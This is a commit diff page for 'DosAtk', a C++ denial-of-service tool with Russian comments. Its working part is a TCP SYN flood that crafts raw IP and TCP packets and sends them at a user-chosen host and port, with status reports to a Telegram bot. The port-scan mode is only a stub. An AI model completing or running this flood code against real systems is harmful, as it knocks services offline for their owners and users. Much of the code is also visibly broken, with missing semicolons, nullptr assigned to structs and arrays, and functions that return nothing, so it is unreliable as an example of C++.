serafim
/
dos
1
0
Fork 2
Code Issues Pull Requests Packages Projects Releases Wiki Activity

style: return status codes, titles

This commit is contained in:
Serafim 2025-04-03 15:46:00 +03:00
parent 59d747188f
commit 244af17f90
1 changed files with 97 additions and 80 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

177
src/DosAtk.cpp
View File

@ -1,4 +1,11 @@
// ====== DCL библиотеки ====== // /*
██████╗ ██████╗██╗ ██╗ ██╗██████╗
██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗
██║ ██║██║ ██║ ██║ ██║██████╔╝
██║ ██║██║ ██║ ██║ ██║██╔══██╗
██████╔╝╚██████╗███████╗ ███████╗██║██████╔╝
╚═════╝ ╚═════╝╚══════╝ ╚══════╝╚═╝╚═════╝
*/
#include <cstring> // Работа со строками и памятью (memset, memcpy) #include <cstring> // Работа со строками и памятью (memset, memcpy)
#include <unistd.h> // POSIX API (close, read, write) #include <unistd.h> // POSIX API (close, read, write)
@ -10,9 +17,15 @@
#include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl) #include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
#include <fcntl.h> // Флаги файловых дескрипторов (fcntl) #include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
// ====== DCL глобальные переменные ====== // /*
██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗██╔══██╗██╔════╝
██║ ██║██║ ██║ ██║ ██║███████║██████╔╝███████╗
██║ ██║██║ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║
██████╔╝╚██████╗███████╗ ╚████╔╝ ██║ ██║██║ ██║███████║
╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════
*/
// Параметры
int argc // Количество аргументов при вызове программы int argc // Количество аргументов при вызове программы
char **argv // Массив строк с агрументами char **argv // Массив строк с агрументами
std::string attack_type; // Тип атаки: scan или syn std::string attack_type; // Тип атаки: scan или syn
@ -22,20 +35,24 @@ std::string port; // Порт для syn
std::string log_file; // Путь к директории для логов std::string log_file; // Путь к директории для логов
std::string telegram_id; // Telegram ID для уведомлений std::string telegram_id; // Telegram ID для уведомлений
std::string telegram_token; // Токен бота для уведомлений std::string telegram_token; // Токен бота для уведомлений
// Статистика
int n_ok_requests; // Количество успешных запросов int n_ok_requests; // Количество успешных запросов
int n_fail_requests; // Количество не успешных запросов int n_fail_requests; // Количество не успешных запросов
std::chrono::system_clock::time_point start_timestamp; // Начальное время работы std::chrono::system_clock::time_point start_timestamp; // Начальное время работы
// Переменные
std::string log_msg; // Сообщение, которое будет записано в лог-файл std::string log_msg; // Сообщение, которое будет записано в лог-файл
std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю
std::string msg; // Сообщение, которое будет отправлено в телеграм std::string msg; // Сообщение, которое будет отправлено в телеграм
int status; // Статус работы программы int status; // Статус работы программы
// ====== DCL процедуры ====== // /*
██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗
██╔══██╗██╔════╝██║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝
██║ ██║██║ ██║ ██████╔╝██████╔╝██║ ██║██║ █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗
██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║ ██╔══╝ ██║ ██║██║ ██║██╔══██╗██╔══╝ ╚════██║
██████╔╝╚██████╗███████╗ ██║ ██║ ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║ ██║███████╗███████║
╚═════╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
*/
void my_check_params() int my_check_params()
{ {
// Данная процедура записывает в глобальные переменные параметры // Данная процедура записывает в глобальные переменные параметры
// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
@ -113,41 +130,35 @@ void my_check_params()
telegram_token = optarg; // Сохраняем токен бота Telegram telegram_token = optarg; // Сохраняем токен бота Telegram
break; break;
case 'h': // Обработка опции -h (--help) case 'h': // Обработка опции -h (--help)
status = 0; // Устанавливаем статус "показать справку" return 0; // Устанавливаем статус "показать справку"
break; break;
case '?': // Обработка неизвестной опции case '?': // Обработка неизвестной опции
status = -101; // Устанавливаем статус "неизвестная опция" return -101; // Устанавливаем статус "неизвестная опция"
break; break;
} }
} }
// Проверяем корректность введенных параметров if (status != 0 && status != -101) // Проверяем корректность введенных параметров
if (status != 0 && status != -101)
{ {
// Проверяем валидность типа атаки if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки
if (attack_type != "flood" && attack_type != "scan") { return -1; // Некорректный тип атаки
status = -1; // Некорректный тип атаки
} }
// Для сканирования портов должна быть указана цель (домен или IP) else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP
else if (attack_type == "scan" && domain.empty() && ip.empty()) { return -10; // Не указана цель для сканирования
status = -10; // Не указана цель для сканирования
} }
// Для флуд-атаки должна быть указана цель (домен или IP) else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP
else if (attack_type == "flood" && domain.empty() && ip.empty()) { return -20; // Не указана цель для флуда
status = -20; // Не указана цель для флуда
} }
// Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id
else if ((!telegram_id.empty() && telegram_token.empty()) || (telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token
(telegram_id.empty() && !telegram_token.empty())) { return -600; // Неполные данные для Telegram
status = -600; // Неполные данные для Telegram
} }
// Если все проверки пройдены и тип атаки - сканирование else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
else if (attack_type == "scan") { return 1; // Валидные параметры для сканирования
status = 1; // Валидные параметры для сканирования
} }
// Если все проверки пройдены и тип атаки - флуд
else if (attack_type == "flood") { else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
status = 2; // Валидные параметры для флуда return 2; // Валидные параметры для флуда
} }
} }
@ -158,11 +169,9 @@ void my_diag()
{ {
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
// формирует сообщение с описанием произошедшей ошибки // формирует сообщение с описанием произошедшей ошибки
printf("begin my_diag, status: %i\n", status); // debug printf("begin my_diag, status: %i\n", status); // debug
// Выбор сообщения в зависимости от кода ошибки switch (status) // Выбор сообщения в зависимости от кода ошибки
switch (status)
{ {
case 0: // Специальный случай - вывод справки по использованию case 0: // Специальный случай - вывод справки по использованию
printf("Usage: ./DosAtk [options]\n" printf("Usage: ./DosAtk [options]\n"
@ -193,14 +202,14 @@ void my_diag()
break; break;
} }
// Отладочный вывод - завершение работы функции
printf("end my_diag\n"); // debug printf("end my_diag\n"); // debug
} }
// Функция для экранирования специальных символов в строке перед использованием в JSON // Функция для экранирования специальных символов в строке перед использованием в JSON
// Принимает: const std::string& s - исходная строка для обработки // Принимает: const std::string& s - исходная строка для обработки
// Возвращает: std::string - строка с экранированными спецсимволами // Возвращает: std::string - строка с экранированными спецсимволами
std::string escape_json(const std::string& s) { std::string escape_json(const std::string& s)
{
// Возвращаем строку с экранированными символами // Возвращаем строку с экранированными символами
// ===== Объявления ===== // ===== Объявления =====
@ -229,7 +238,8 @@ std::string escape_json(const std::string& s) {
return result; // Возвращаем обработанную строку return result; // Возвращаем обработанную строку
} }
bool is_numeric(const std::string& s) { bool is_numeric(const std::string& s)
{
// Проверка, является ли строка числом (включая отрицательные) // Проверка, является ли строка числом (включая отрицательные)
// ===== Объявления ===== // ===== Объявления =====
@ -259,7 +269,8 @@ bool is_numeric(const std::string& s) {
return true; return true;
} }
void my_msg() { void my_msg()
{
printf("begin my_msg"); // debug printf("begin my_msg"); // debug
// Объявление // Объявление
@ -340,11 +351,12 @@ void my_msg() {
printf("end my_msg"); // debug printf("end my_msg"); // debug
} }
void my_log() int my_log()
{ {
// Данная функция записывает в файл лога сообщение // Данная функция записывает в файл лога сообщение
printf("start my_log"); // debug printf("start my_log"); // debug
printf("end my_log"); // debug printf("end my_log"); // debug
return 0;
} }
void my_fin() void my_fin()
@ -404,22 +416,15 @@ void my_fin()
std::exit(status); std::exit(status);
} }
void my_dns() int my_dns()
{ {
// Данная процедура сопостовляет доменное имя с IP // Данная процедура сопостовляет доменное имя с IP
printf("start my_dns"); // debug printf("start my_dns"); // debug
printf("end my_dns"); // debug printf("end my_dns"); // debug
} }
void my_tcp_syn() unsigned short checksum(void *data, int len)
{ {
// Данная процедура выполняет TCP SYN Flood атаку
printf("start my_tcp_syn"); // debug
printf("end my_tcp_syn"); // debug
}
unsigned short checksum(void *data, int len) {
/** /**
* Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071)
* *
@ -452,7 +457,8 @@ unsigned short checksum(void *data, int len) {
} }
void my_tcp_syn() { int my_tcp_syn()
{
/* /*
* Отправляет TCP SYN запрос на указанный IP и порт * Отправляет TCP SYN запрос на указанный IP и порт
* status: * status:
@ -461,23 +467,19 @@ void my_tcp_syn() {
* -201 - ошибка создания raw-сокета * -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета * -202 - ошибка отправки SYN-пакета
*/ */
printf("start my_udp"); // debug printf("start my_tcp_syn"); // debug
// === Объявление локальных переменных === // === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов int sock; // Основной raw-сокет для отправки пакетов
int one; // Флаг для setsockopt int one; // Флаг для setsockopt
// Структуры для адресов // Структуры для адресов
struct sockaddr_in target_addr; // Адрес цели struct sockaddr_in target_addr; // Адрес цели
// Параметры подключения // Параметры подключения
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
// Структуры заголовков // Структуры заголовков
struct iphdr ip_header; // IP-заголовок пакета struct iphdr ip_header; // IP-заголовок пакета
struct tcphdr tcp_header; // TCP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета
// Псевдозаголовок для контрольной суммы // Псевдозаголовок для контрольной суммы
struct { struct {
uint32_t saddr; uint32_t saddr;
@ -486,7 +488,6 @@ void my_tcp_syn() {
uint8_t protocol; uint8_t protocol;
uint16_t tcp_len; uint16_t tcp_len;
} pseudo_header; } pseudo_header;
// Буферы данных // Буферы данных
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
@ -494,13 +495,18 @@ void my_tcp_syn() {
// === Инициализация переменных === // === Инициализация переменных ===
sock = -1; sock = -1;
one = 1; one = 1;
target_addr = nullptr;
target_port = htons(atoi(port.c_str())); target_port = htons(atoi(port.c_str()));
ip_header = nullptr;
tcp_header = nullptr;
pseudo_header = nullptr;
temp_buf = nullptr;
packet = nullptr;
// === Основная логика процедуры === // === Основная логика процедуры ===
// 1. Создание raw-сокета // 1. Создание raw-сокета
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
status = -201; return -201;
return;
} }
// 2. Установка опции IP_HDRINCL // 2. Установка опции IP_HDRINCL
@ -550,21 +556,38 @@ void my_tcp_syn() {
if (sendto(sock, packet, sizeof(packet), 0, if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++; n_fail_requests++;
status = -202; return -202;
} else { } else {
n_ok_requests++; n_ok_requests++;
status = 0;
} }
// 9. Проверка завершения // 9. Проверка завершения
if ((n_ok_requests + n_fail_requests) >= 1000) { if ((n_ok_requests + n_fail_requests) >= 1000) {
status = 2; return 2;
} }
close(sock); close(sock);
printf("end my_udp"); // debug printf("end my_tcp_syn"); // debug
return 0;
} }
int my_udp()
{
// Данная процедура сопостовляет производит port scanning атаку
printf("start my_udp"); // debug
printf("end my_udp"); // debug
return 2;
}
/*
█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █
█ ████ █ █ █ █ █ █ ████ █ █ █ ████ █████ █ █ █ █ █ █ ███ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █████ █ █ ███ █ █ █ ███ █ █ █ █ █ █ █ █ ███ █
*/
int main(int arg_ctr, char **arg_ptr) int main(int arg_ctr, char **arg_ptr)
{ {
// Инициализация глобальных переменных // Инициализация глобальных переменных
@ -585,24 +608,18 @@ int main(int arg_ctr, char **arg_ptr)
std::string msg; std::string msg;
int status = 0; int status = 0;
// Тело программы status = my_check_params(); // Проверяем параметры командной строки
// Проверяем параметры командной строки
my_check_params();
// Обрабатываем результат проверки параметров
switch (status) switch (status) // Обрабатываем результат проверки параметров
{ {
case 1: // Режим сканирования портов (UDP) case 1: // Режим сканирования портов (UDP)
// Пытаемся разрешить DNS (если указано доменное имя) status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя)
my_dns();
if (status == 0) // Если DNS разрешен успешно if (status == 0) // Если DNS разрешен успешно
{ {
// Запускаем цикл UDP-атаки while (true) // Запускаем цикл UDP-атаки
while (true)
{ {
my_udp() status = my_udp()
if (status == 2) // Код завершения атаки if (status == 2) // Код завершения атаки
{ {
break; break;
@ -610,7 +627,7 @@ int main(int arg_ctr, char **arg_ptr)
else if (status < 0) // Обработка ошибок else if (status < 0) // Обработка ошибок
{ {
my_diag(); // Выводим диагностику my_diag(); // Выводим диагностику
my_log(); // Пытаемся записать в лог status = my_log(); // Пытаемся записать в лог
if (status == 1) // Если записать лог не удалось if (status == 1) // Если записать лог не удалось
{ {
my_msg(); // Отправляем сообщение my_msg(); // Отправляем сообщение
@ -625,7 +642,7 @@ int main(int arg_ctr, char **arg_ptr)
else if (status == 1) // Ошибка DNS-разрешения else if (status == 1) // Ошибка DNS-разрешения
{ {
my_diag(); // Выводим ошибку my_diag(); // Выводим ошибку
my_log(); // Логируем ошибку status = my_log(); // Логируем ошибку
if (status == 0) // Если лог получилось записать if (status == 0) // Если лог получилось записать
{ {
@ -640,14 +657,14 @@ int main(int arg_ctr, char **arg_ptr)
break; break;
case 2: // Режим SYN-флуда (TCP) case 2: // Режим SYN-флуда (TCP)
// Пытаемся разрешить DNS (если указано доменное имя) // Пытаемся разрешить DNS (если указано доменное имя)
my_dns(); status = my_dns();
if (status == 0) // Если DNS разрешен успешно if (status == 0) // Если DNS разрешен успешно
{ {
// Запускаем цикл UDP-атаки // Запускаем цикл UDP-атаки
while (true) while (true)
{ {
my_tcp_syn() status = my_tcp_syn()
if (status == 2) // Код завершения атаки if (status == 2) // Код завершения атаки
{ {
break; break;
@ -655,7 +672,7 @@ int main(int arg_ctr, char **arg_ptr)
else if (status < 0) // Обработка ошибок else if (status < 0) // Обработка ошибок
{ {
my_diag(); // Выводим диагностику my_diag(); // Выводим диагностику
my_log(); // Пытаемся записать в лог status = my_log(); // Пытаемся записать в лог
if (status == 1) // Если записать лог не удалось if (status == 1) // Если записать лог не удалось
{ {
my_msg(); // Отправляем сообщение my_msg(); // Отправляем сообщение
@ -670,7 +687,7 @@ int main(int arg_ctr, char **arg_ptr)
else if (status == 1) // Ошибка DNS-разрешения else if (status == 1) // Ошибка DNS-разрешения
{ {
my_diag(); // Выводим ошибку my_diag(); // Выводим ошибку
my_log(); // Логируем ошибку status = my_log(); // Логируем ошибку
if (status == 0) // Если лог получилось записать if (status == 0) // Если лог получилось записать
{ {
@ -690,7 +707,7 @@ int main(int arg_ctr, char **arg_ptr)
case -101: case -101:
case -600: case -600:
my_diag(); // Выводим диагностику my_diag(); // Выводим диагностику
my_log(); // Логируем событие status = my_log(); // Логируем событие
if (status == 0) // Без уведомления if (status == 0) // Без уведомления
{ {